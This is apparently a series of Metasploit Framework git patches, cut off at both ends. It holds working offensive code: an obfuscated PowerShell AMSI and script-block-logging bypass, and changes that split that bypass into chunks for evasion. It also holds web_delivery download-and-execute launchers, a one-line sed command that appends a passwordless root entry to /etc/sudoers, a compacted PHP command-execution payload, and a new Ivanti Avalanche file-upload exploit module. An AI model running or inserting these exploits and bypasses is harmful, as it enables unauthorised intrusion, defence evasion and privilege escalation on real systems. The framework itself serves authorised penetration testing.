+ + + + 10 + block + + 10 + block + 10 instruction - $EnableSBIL=<%= Rex::Powershell::Obfu.scate_string_literal('EnableScriptBlockInvocationLogging') %>; + If($GPF -And $GPC[$SBL]) { $GPC[$SBL][$EnableSBL]=0; } - + 11 instruction - $GPC=$GPF.GetValue($null); + If($GPF -And $GPC[$SBL]) { $GPC[$SBL][$EnableSBIL]=0; } - - - - - - - - + 12 block 12 block - + 12 instruction - If($GPC[$SBL]){ + If($GPF) { $val.Add($EnableSBL,0); } - + 13 instruction - $GPC[$SBL][$EnableSBL]=0; + If($GPF) { $val.Add($EnableSBIL,0); } - + 14 instruction - $GPC[$SBL][$EnableSBIL]=0; - - - 15 - instruction - } + If($GPF) { $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\'+$SBL]=$val; } - - - - + + - - 16 + + 15 block - 16 + 15 block - - 16 - instruction - $val.Add($EnableSBL,0); - - - 17 - instruction - $val.Add($EnableSBIL,0); - - - 18 - instruction - $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\'+$SBL]=$val; - - - - - - - 19 - block - - 19 - block - - 19 - instruction - } Else { - - - 20 - instruction - [Ref].Assembly.GetType(<%= Rex::Powershell::Obfu.scate_string_literal('System.Management.Automation.ScriptBlock') %>).GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string])); - - - 21 - instruction - } - - - 22 + + 15 instruction - }; + If(!$GPF) { [Ref].Assembly.GetType(<%= Rex::Powershell::Obfu.scate_string_literal('System.Management.Automation.ScriptBlock') %>).GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string])); } - - - - - - - + + + + + diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb index 7d8406d66959a..2588fb8b23d9b 100644 --- a/lib/msf/core/exploit/powershell.rb +++ b/lib/msf/core/exploit/powershell.rb @@ -236,7 +236,7 @@ def cmd_psh_payload(pay, payload_arch, opts = {}) prepend_protections_bypass = opts.delete(:prepend_protections_bypass) if %w[ auto true ].include?(prepend_protections_bypass) - opts[:prepend] = bypass_powershell_protections + opts[:prepend] = bypass_powershell_protections.join end unless opts.key? :shorten @@ -262,8 +262,9 @@ def cmd_psh_payload(pay, payload_arch, opts = {}) # # Return all bypasses checking if PowerShell version > 3 # - # @return [String] PowerShell code to disable PowerShell Built-In Protections - def bypass_powershell_protections + # @return [Array] PowerShell code to disable PowerShell Built-In + # Protections as an array of elements. + def bypass_powershell_protections(split = 1) # generate the protections bypass in three short steps # step 1: shuffle the instructions by rendering the GraphML script = Rex::Payloads::Shuffle.from_graphml_file( @@ -274,7 +275,23 @@ def bypass_powershell_protections # step 3: obfuscate variable names and remove whitespace script = Rex::Powershell::Script.new(script) script.sub_vars if datastore['Powershell::sub_vars'] - Rex::Powershell::PshMethods.uglify_ps(script.to_s) + # step 4: randomly split the script in chunks (if required) + if split > 1 + script_lines = script.lines + if split > script_lines.size + raise "Cannot split in #{split} parts since the command has only #{script_lines.size} lines of code" + end + vprint_status("Splitting bypass protection script in #{split} parts") + script_parts = [] + (split - 1).times do |part| + max_for_this_part = script_lines.size - split + part + 1 + script_parts << script_lines.shift(rand(1..max_for_this_part)).join + end + script_parts << script_lines.join + script_parts.map { |part| Rex::Powershell::PshMethods.uglify_ps(part) } + else + [Rex::Powershell::PshMethods.uglify_ps(script.to_s)] + end end # diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb index 6b0c530b9838c..6f99d78160e09 100644 --- a/modules/exploits/multi/script/web_delivery.rb +++ b/modules/exploits/multi/script/web_delivery.rb @@ -154,7 +154,8 @@ def initialize(info = {}) [ OptBool.new('PSH-AmsiBypass', [ true, 'PSH - Request AMSI/SBL bypass before the stager', true ]), OptString.new('PSH-AmsiBypassURI', [ false, 'PSH - The URL to use for the AMSI/SBL bypass (Will be random if left blank)', '' ]), - OptBool.new('PSH-EncodedCommand', [ true, 'PSH - Use -EncodedCommand for web_delivery launcher', true ]), + OptInt.new('PSH-AmsiBypassSplit', [ true, 'PSH - Split the AMSI bypass script in multiple chunks to for evasion. This value indicates the number of chunks (1 means no split).', 1 ]), + OptBool.new('PSH-EncodedCommand', [ true, 'PSH - Use -EncodedCommand for web_delivery launcher', false ]), OptBool.new('PSH-ForceTLS12', [ true, 'PSH - Force use of TLS v1.2', true ]), OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]), OptString.new('PSHBinary-PATH', [ false, 'PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)', '' ]), @@ -174,8 +175,13 @@ def primer when 'PSH' uri = get_uri if datastore['PSH-AmsiBypass'] - amsi_uri = uri + amsi_bypass_uri - print_line(gen_psh([amsi_uri, uri], 'string').to_s) + begin + @amsi_bypass_chunks = bypass_powershell_protections(datastore['PSH-AmsiBypassSplit'].to_i) + rescue RuntimeError => e + fail_with(Msf::Exploit::Failure::BadConfig, "Cannot generate bypass protection script: #{e}") + end + @amsi_uris = (1..@amsi_bypass_chunks.size).map { |i| "#{amsi_bypass_uri}/#{i}" } + print_line(gen_psh(@amsi_uris.map { |u| uri + u } + [uri], 'string').to_s) else print_line(gen_psh(uri, 'string').to_s) end @@ -199,13 +205,23 @@ def primer def amsi_bypass_uri unless datastore['PSH-AmsiBypassURI'].empty? - @amsi_uri = datastore['PSH-AmsiBypassURI'] + @amsi_bypass_uri = datastore['PSH-AmsiBypassURI'] end - @amsi_uri ||= random_uri + @amsi_bypass_uri ||= random_uri + end + + def force_tls12_uri + @force_tls12_uri ||= random_uri + end + + def proxy_aware_uri + @proxy_aware_uri ||= random_uri end def on_request_uri(cli, request) - if request.raw_uri.to_s.ends_with?('.sct') + uri = request.raw_uri.to_s + + if uri.ends_with?('.sct') print_status('Handling .sct Request') psh = gen_psh(get_uri.to_s, 'string') @@ -222,9 +238,27 @@ def on_request_uri(cli, request) return end - if request.raw_uri.to_s.ends_with?(amsi_bypass_uri) - data = bypass_powershell_protections - print_status("Delivering AMSI Bypass (#{data.length} bytes)") + if datastore['PSH-AmsiBypass'] && uri.ends_with?(*@amsi_uris) + if @amsi_bypass_chunks.blank? + @amsi_bypass_chunks = bypass_powershell_protections(datastore['PSH-AmsiBypassSplit'].to_i) + end + chunk_nb = uri.split('/').last + data = @amsi_bypass_chunks[chunk_nb.to_i - 1] + print_status("Delivering AMSI Bypass #{chunk_nb}/#{@amsi_bypass_chunks.size}(#{data.length} bytes)") + send_response(cli, data, 'Content-Type' => 'text/plain') + return + end + + if ssl && datastore['PSH-ForceTLS12'] && uri.ends_with?(force_tls12_uri) + data = Rex::Powershell::PshMethods.force_tls12 + print_status("Delivering ForceTLS12 command (#{data.length} bytes)") + send_response(cli, data, 'Content-Type' => 'text/plain') + return + end + + if datastore['PSH-Proxy'] && uri.ends_with?(proxy_aware_uri) + data = Rex::Powershell::PshMethods.proxy_aware + print_status("Delivering Proxy Aware command (#{data.length} bytes)") send_response(cli, data, 'Content-Type' => 'text/plain') return end @@ -233,9 +267,13 @@ def on_request_uri(cli, request) when 'Linux', 'Mac OS X', 'PSH (Binary)' data = generate_payload_exe when 'PSH', 'Regsvr32', 'pubprn', 'SyncAppvPublishingServer' + # Disable this option since the Powershel protection bypass should been done already. + opts = {} + opts[:prepend_protections_bypass] = false if datastore['PSH-AmsiBypass'] data = cmd_psh_payload( payload.encoded, - payload_instance.arch.first + payload_instance.arch.first, + opts ) else data = payload.encoded.to_s @@ -246,11 +284,13 @@ def on_request_uri(cli, request) end def gen_psh(url, *method) - ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl - force_tls12 = Rex::Powershell::PshMethods.force_tls12 if datastore['PSH-ForceTLS12'] + ignore_cert = ssl ? Rex::Powershell::PshMethods.ignore_ssl_certificate : '' + prepended_actions = [] + prepended_actions << "#{get_uri}#{force_tls12_uri}" if ssl && datastore['PSH-ForceTLS12'] if method.include? 'string' - download_string = datastore['PSH-Proxy'] ? Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url) : Rex::Powershell::PshMethods.download_and_exec_string(url) + prepended_actions << "#{get_uri}#{proxy_aware_uri}" if datastore['PSH-Proxy'] + download_string = Rex::Powershell::PshMethods.download_and_exec_string(url) else # Random filename to use, if there isn't anything set random = "#{rand_text_alphanumeric(8)}.exe" @@ -268,7 +308,7 @@ def gen_psh(url, *method) download_string = Rex::Powershell::PshMethods.download_run(url, file) end - download_and_run = "#{force_tls12}#{ignore_cert}#{download_string}" + download_and_run = "#{ignore_cert}#{Rex::Powershell::PshMethods.download_and_exec_string(prepended_actions)}#{download_string}" # Generate main PowerShell command if datastore['PSH-EncodedCommand'] From f5b1b96d9a41deb4b2d4288d495a0c00cc9fb51f Mon Sep 17 00:00:00 2001 From: Christophe De La Fuente Date: Thu, 27 Apr 2023 15:49:38 +0200 Subject: [PATCH 075/415] Fix rubocop issues --- modules/exploits/multi/script/web_delivery.rb | 170 +++++++++--------- 1 file changed, 85 insertions(+), 85 deletions(-) diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb index 6f99d78160e09..2f1a1578eb1ca 100644 --- a/modules/exploits/multi/script/web_delivery.rb +++ b/modules/exploits/multi/script/web_delivery.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking @@ -56,97 +55,98 @@ def initialize(info = {}) to be served up to be downloaded and executed. }, 'License' => MSF_LICENSE, - 'Author' => + 'Author' => [ + 'Andrew Smith "jakx" ', + 'Ben Campbell', + 'Chris Campbell', # @obscuresec - Inspiration n.b. no relation! + 'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee) + 'Trenton Ivey', # AppLocker MSF Module (kn0) + 'g0tmi1k', # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features + 'bcoles', # support for targets: pubprn, SyncAppvPublishingServer and Linux wget + 'Matt Nelson', # @enigma0x3 // pubprn discovery + 'phra', # @phraaaaaaa // https://iwantmore.pizza/ - AMSI/SBL bypass + 'Nick Landers', # @monoxgas // SyncAppvPublishingServer discovery + ], + 'DefaultOptions' => { + 'Payload' => 'python/meterpreter/reverse_tcp', + 'Powershell::exec_in_place' => true + }, + 'References' => [ + ['URL', 'https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'], + ['URL', 'https://www.pentestgeek.com/2013/07/19/invoke-shellcode/'], + ['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'], + ['URL', 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'], + ['URL', 'https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html'], + ['URL', 'https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/'], + ['URL', 'https://iwantmore.pizza/posts/amsi.html'], + ['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/'], + ['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/'], + ['URL', 'https://lolbas-project.github.io/lolbas/Scripts/Pubprn/'], + ], + 'Platform' => %w[python php win linux osx], + 'Targets' => [ [ - 'Andrew Smith "jakx" ', - 'Ben Campbell', - 'Chris Campbell', # @obscuresec - Inspiration n.b. no relation! - 'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee) - 'Trenton Ivey', # AppLocker MSF Module (kn0) - 'g0tmi1k', # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features - 'bcoles', # support for targets: pubprn, SyncAppvPublishingServer and Linux wget - 'Matt Nelson', # @enigma0x3 // pubprn discovery - 'phra', # @phraaaaaaa // https://iwantmore.pizza/ - AMSI/SBL bypass - 'Nick Landers', # @monoxgas // SyncAppvPublishingServer discovery + 'Python', { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON + } ], - 'DefaultOptions' => - { - 'Payload' => 'python/meterpreter/reverse_tcp', - 'Powershell::exec_in_place' => true - }, - 'References' => [ - ['URL', 'https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'], - ['URL', 'https://www.pentestgeek.com/2013/07/19/invoke-shellcode/'], - ['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'], - ['URL', 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'], - ['URL', 'https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html'], - ['URL', 'https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/'], - ['URL', 'https://iwantmore.pizza/posts/amsi.html'], - ['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/'], - ['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/'], - ['URL', 'https://lolbas-project.github.io/lolbas/Scripts/Pubprn/'], + 'PHP', { + 'Platform' => 'php', + 'Arch' => ARCH_PHP + } + ], + [ + 'PSH', { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64] + } + ], + [ + 'Regsvr32', { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64] + } + ], + [ + 'pubprn', { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64] + } + ], + [ + 'SyncAppvPublishingServer', { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64] + } + ], + [ + 'PSH (Binary)', { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64] + } + ], + [ + 'Linux', { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64] + } ], - 'Platform' => %w[python php win linux osx], - 'Targets' => [ - [ - 'Python', { - 'Platform' => 'python', - 'Arch' => ARCH_PYTHON - } - ], - [ - 'PHP', { - 'Platform' => 'php', - 'Arch' => ARCH_PHP - } - ], - [ - 'PSH', { - 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X64] - } - ], - [ - 'Regsvr32', { - 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X64] - } - ], - [ - 'pubprn', { - 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X64] - } - ], - [ - 'SyncAppvPublishingServer', { - 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X64] - } - ], - [ - 'PSH (Binary)', { - 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X64] - } - ], - [ - 'Linux', { - 'Platform' => 'linux', - 'Arch' => [ARCH_X86, ARCH_X64] - } - ], - [ - 'Mac OS X', { - 'Platform' => 'osx', - 'Arch' => [ARCH_X86, ARCH_X64] - } - ], + 'Mac OS X', { + 'Platform' => 'osx', + 'Arch' => [ARCH_X86, ARCH_X64] + } ], + ], 'DefaultTarget' => 0, - 'DisclosureDate' => '2013-07-19' + 'DisclosureDate' => '2013-07-19', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) From 95562e04aa096f848544e0b6828c784b103d896e Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 2 May 2023 18:39:59 -0400 Subject: [PATCH 076/415] sudoedit work --- .../linux/local/sudoedit_bypass_priv_esc.md | 10 +++++++++- .../linux/local/sudoedit_bypass_priv_esc.rb | 17 ++++++++++++----- 2 files changed, 21 insertions(+), 6 deletions(-) diff --git a/documentation/modules/exploit/linux/local/sudoedit_bypass_priv_esc.md b/documentation/modules/exploit/linux/local/sudoedit_bypass_priv_esc.md index 7bb23b272cb34..e319e23110b9e 100644 --- a/documentation/modules/exploit/linux/local/sudoedit_bypass_priv_esc.md +++ b/documentation/modules/exploit/linux/local/sudoedit_bypass_priv_esc.md @@ -28,7 +28,7 @@ We also add a flag at the end of our entry after a `#` (comment) for ease of era Next we execute out payload, launching it through our shell. Many of the PoCs work via user input where you have to manually edit `/etc/sudoers`. Obviously this strategy -won't work with metasploit, as we need to automate it. Early attempts tried to script `vi` into performing +won't work with Metasploit, as we need to automate it. Early attempts tried to script `vi` into performing the write and quite command, similar to: `EDITOR="vi -c ':$' -c ':s/$/\\ruser ALL=(ALL:ALL) ALL/' -c ':wq' -c ':q' -- /etc/sudoers" sudo -e /etc/motd` However, the command didn't do well with newlines and escaping. @@ -36,6 +36,14 @@ However, the command didn't do well with newlines and escaping. `sed` however is a valid editor, so it was relatively trivial to script out adding the new entry via sed: ```EDITOR="sed -i -e '$ a `whoami` ALL=(ALL:ALL) NOPASSWD: ALL' -- /etc/sudoers" sudo -e /etc/motd``` +#### Fedora 21 + +``` +[*] Executing command: EDITOR="sed -i -e '$ a fedora ALL=(ALL:ALL) NOPASSWD: /bin/sh # ZMoAqOkBfR9e' -- /etc/sudoers" sudo -S -e /etc/passwd +[*] sed: -e expression #1, char 1: unknown command: `'' +``` + + ### Install On Ubuntu 22.04: diff --git a/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb b/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb index 4b7072df99b76..2f3f9da6ebf0f 100644 --- a/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb +++ b/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb @@ -91,11 +91,18 @@ def get_editable_file end def check - # Check the app is installed and the version - package = cmd_exec('dpkg -l sudo | grep \'^ii\'') - package = package.split(' ')[2] # ii, package name, version, arch sys_info = get_sysinfo - ver_no = Rex::Version.new(package) + + # Check the app is installed and the version + if sys_info['distro'] == 'ubuntu' || sys_info['distro'] == 'debian' + package = cmd_exec('dpkg -l sudo | grep \'^ii\'') + package = package.split(' ')[2] # ii, package name, version, arch for debian, or Sudo version XXX for other + ver_no = Rex::Version.new(package) + else + package = cmd_exec('sudo --version') + package = package.split(' ')[2] # ii, package name, version, arch for debian, or Sudo version XXX for other + ver_no = Rex::Version.new(package) + end # according to CVE listing, but so much backporting... minimal_version = '1.8.0' @@ -136,7 +143,7 @@ def check def exploit # Check if we're already root if !datastore['ForceExploit'] && is_root? - fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override' + fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' end if get_editable_file.nil? From 3b66b3416fc2a6ec5c6327429a0ce04d3b2cf0cb Mon Sep 17 00:00:00 2001 From: jvoisin Date: Mon, 1 May 2023 21:36:28 +0200 Subject: [PATCH 077/415] Golf a bit the php payload MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Put all the error-disabling statements on a single line - Remove some useless spaces - Use `stristr(…)` (available since PHP4) instead of `strpos(strtolower(…))` - Use `&&` instead of `and` - Use backticks instead of `passthru`, since they're equivalent: https://www.php.net/manual/en/language.operators.execution.php --- lib/msf/core/payload/php.rb | 25 ++++++++++++------------- 1 file changed, 12 insertions(+), 13 deletions(-) diff --git a/lib/msf/core/payload/php.rb b/lib/msf/core/payload/php.rb index d78018d147581..64f78dd01d37d 100644 --- a/lib/msf/core/payload/php.rb +++ b/lib/msf/core/payload/php.rb @@ -25,13 +25,12 @@ def php_preamble(options = {}) # Canonicalize the list of disabled functions to facilitate choosing a # system-like function later. preamble = "/*&1\\n\"; } #{is_callable}='is_callable'; #{in_array}='in_array'; " shell_exec = " - if(#{is_callable}('shell_exec')and!#{in_array}('shell_exec',#{dis})){ - #{output}=shell_exec(#{cmd}); + if(#{is_callable}('shell_exec')&&!#{in_array}('shell_exec',#{dis})){ + #{output}=`#{cmd}`; }else" passthru = " - if(#{is_callable}('passthru')and!#{in_array}('passthru',#{dis})){ + if(#{is_callable}('passthru')&&!#{in_array}('passthru',#{dis})){ ob_start(); passthru(#{cmd}); #{output}=ob_get_contents(); ob_end_clean(); }else" system = " - if(#{is_callable}('system')and!#{in_array}('system',#{dis})){ + if(#{is_callable}('system')&&!#{in_array}('system',#{dis})){ ob_start(); system(#{cmd}); #{output}=ob_get_contents(); ob_end_clean(); }else" exec = " - if(#{is_callable}('exec')and!#{in_array}('exec',#{dis})){ + if(#{is_callable}('exec')&&!#{in_array}('exec',#{dis})){ #{output}=array(); exec(#{cmd},#{output}); #{output}=join(chr(10),#{output}).chr(10); }else" proc_open = " - if(#{is_callable}('proc_open')and!#{in_array}('proc_open',#{dis})){ + if(#{is_callable}('proc_open')&&!#{in_array}('proc_open',#{dis})){ $handle=proc_open(#{cmd},array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes); #{output}=NULL; while(!feof($pipes[1])){ @@ -110,7 +109,7 @@ def php_system_block(options = {}) @proc_close($handle); }else" popen = " - if(#{is_callable}('popen')and!#{in_array}('popen',#{dis})){ + if(#{is_callable}('popen')&&!#{in_array}('popen',#{dis})){ $fp=popen(#{cmd},'r'); #{output}=NULL; if(is_resource($fp)){ From 9fa0dac56c757ee6004399da918d885ad07ed448 Mon Sep 17 00:00:00 2001 From: space-r7 Date: Thu, 4 May 2023 18:03:02 -0500 Subject: [PATCH 078/415] add login and path change methods --- ...ivanti_avalanche_filestoreconfig_upload.rb | 199 ++++++++++++++++++ 1 file changed, 199 insertions(+) create mode 100644 modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb diff --git a/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb b/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb new file mode 100644 index 0000000000000..bc5f7aa1c9d21 --- /dev/null +++ b/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb @@ -0,0 +1,199 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Ivanti Avalanche FileStoreConfig File Upload', + 'Description' => %q{ + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Piotr Bazydlo', # @chudypb - Vulnerability Discovery + 'Shelby Pace' # Metasploit module + ], + 'References' => [ + [ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-456/'], + [ 'CVE', '2023-28128'] + ], + 'Platform' => ['win'], + 'Privileged' => false, + 'Arch' => ARCH_JAVA, + 'Targets' => [ + [ 'Automatic Target', {}] + ], + 'DisclosureDate' => '2022-07-07', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [ IOC_IN_LOGS ] + } + ) + ) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('USERNAME', [ true, 'User name to log in with', 'amcadmin' ]), + OptString.new('PASSWORD', [ true, 'Password to log in with', 'admin' ]), + OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/AvalancheWeb' ]) + ] + ) + end + + def check + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'login.jsf'), + 'method' => 'GET' + ) + + return CheckCode::Unknown('Failed to receive a response from the application') unless res + + unless res.body.include?('Avalanche') && res.body.include?('Login') + return CheckCode::Safe('Application does not appear to be Ivanti Avalanche') + end + + CheckCode::Safe + end + + def authenticate + if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank? + fail_with(Failure::BadConfig, 'Please set the USERNAME and PASSWORD options') + end + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'login.jsf'), + 'method' => 'GET', + 'keep_cookies' => true + ) + + fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('Login') + + html = res.get_html_document + view_state = get_view_state(html) + fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state') unless view_state + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'login.jsf'), + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { + 'loginForm' => 'loginForm', + 'j_idt8' => '', + 'loginField' => datastore['USERNAME'], + 'passwordField' => datastore['PASSWORD'], + 'TextCaptchaAnswer' => '', + 'javax.faces.ViewState' => view_state, + 'loginTableButton' => 'loginTableButton' + } + ) + + unless res&.code == 302 && res&.headers&.[]('Location')&.include?('inventory.jsf') + fail_with(Failure::UnexpectedReply, 'Login failed') + end + end + + def get_view_state(html) + view_state = html.xpath("//input[@name='javax.faces.ViewState']")&.first&.at('@value')&.text + + view_state + end + + def configure_filestore + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), + 'method' => 'GET', + 'keep_cookies' => true + ) + + unless res && res.body.include?('FileStore') + fail_with(Failure::UnexpectedReply, 'Failed to access FileStore configuration') + end + + html = res.get_html_document + view_state = get_view_state(html) + fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state from FileStoreConfig page') unless view_state + + @original_config_path = html.xpath("//input[@id='txtUncPath']")&.first&.at('@value')&.text + fail_with(Failure::UnexpectedReply, 'Unable to grab FileStore path') unless @original_config_path + + # determine drive letter + drive_letter = @original_config_path.match(/([a-zA-Z])(:|\$)/) + fail_with(Failure::UnexpectedReply, 'Couldn\'t determine drive letter for path') unless drive_letter&.length&.> 1 + drive_letter = drive_letter[1] + + new_config_path = "#{drive_letter}:\\PROGRA~1\\Wavelink\\AVALAN~1\\Web" + print_status("Changing FileStore config path to '#{new_config_path}'") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { + 'linkFileStoreConfigSave' => 'linkFileStoreConfigSave', + 'formFileStoreConfig' => 'formFileStoreConfig', + 'txtUncPath' => new_config_path, + 'txtVelocityFolder' => '', + 'javax.faces.ViewState' => view_state + } + ) + + fail_with(Failure::UnexpectedReply, 'Failed to change FileStore config path') unless res&.body&.include?(new_config_path) + new_config_path + end + + def upload_payload(_config_path) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), + 'method' => 'GET', + 'keep_cookies' => true + ) + + fail_with(Failure::UnexpectedReply, 'Failed to access updated FileStore page') unless res&.body&.include?('FileStore') + # need to 'select' webapps/AvalancheWeb to upload a file + html = res.get_html_document + results = html.xpath('//tr[contains(@class, "DIRECTORY")]') + fail_with(Failure::UnexpectedReply, 'Failed to find list of expected directories') unless results + web_app_dir = results.find { |res| res.at('td').text.strip == 'webapps' } + fail_with(Failure::UnexpectedReply, 'Failed to find the \'webapps\' directory to write to') unless web_app_dir + data_rk = web_app_dir.at('@data-rk')&.value + fail_with(Failure::UnexpectedReply, 'Failed to get value to expand \'webapps\' directory') unless data_rk + # require 'pry';binding.pry + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => {} + ) + + boundary = "#{'-' * 6}WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(15)}" + post_data = "#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"upload-form\"\r\n\r\n" + post_data << "upload-form\r\n" + post_data << '' + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), + 'method' => 'POST', + 'keep_cookies' => true + ) + end + + def reset_filestore_dir; end + + def exploit + authenticate + config_path = configure_filestore + upload_payload(config_path) + end +end From 069ad805c19488d5c727fb431cb7253df2d3348f Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Fri, 5 May 2023 13:50:38 +0100 Subject: [PATCH 079/415] Fix ruby 3.1 crashes when garbage collecting meterpreter resources --- lib/msf/core/framework.rb | 6 ++++++ lib/rex/post/meterpreter/channel.rb | 13 +++++++++---- .../extensions/stdapi/sys/event_log.rb | 13 +++++++++---- .../meterpreter/extensions/stdapi/sys/process.rb | 15 ++++++++++----- .../stdapi/sys/registry_subsystem/registry_key.rb | 13 +++++++++---- .../sys/registry_subsystem/remote_registry_key.rb | 14 ++++++++++---- .../meterpreter/extensions/stdapi/sys/thread.rb | 13 +++++++++---- 7 files changed, 62 insertions(+), 25 deletions(-) diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index 1fc8b9390d319..682369b2b6ad2 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -199,6 +199,8 @@ def version # # @return [Metasploit::Framework::DataService::DataProxy] def db + return @db if @db + synchronize { @db ||= get_db } @@ -209,6 +211,8 @@ def db # # @return [Msf::SessionManager] def sessions + return @sessions if @sessions + synchronize { @sessions ||= Msf::SessionManager.new(self) } @@ -219,6 +223,8 @@ def sessions # # @return [Msf::ThreadManager] def threads + return @threads if @threads + synchronize { @threads ||= Msf::ThreadManager.new(self) } diff --git a/lib/rex/post/meterpreter/channel.rb b/lib/rex/post/meterpreter/channel.rb index 4b650226081ad..52ebd27d5e9d6 100644 --- a/lib/rex/post/meterpreter/channel.rb +++ b/lib/rex/post/meterpreter/channel.rb @@ -153,11 +153,16 @@ def initialize(client, cid, type, flags, packet, **_) def self.finalize(client, cid) proc { unless cid.nil? - begin - self._close(client, cid) - rescue => e - elog("finalize method for Channel failed", error: e) + deferred_close_proc = proc do + begin + self._close(client, cid) + rescue => e + elog("finalize method for Channel failed", error: e) + end end + + # Schedule the finalizing logic out-of-band; as this logic might be called in the context of a Signal.trap, which can't synchronize mutexes + client.framework.sessions.schedule(deferred_close_proc) end } end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb index 07410d6be91ab..4c1bf51d63420 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb @@ -67,11 +67,16 @@ def initialize(hand) def self.finalize(client,handle) proc 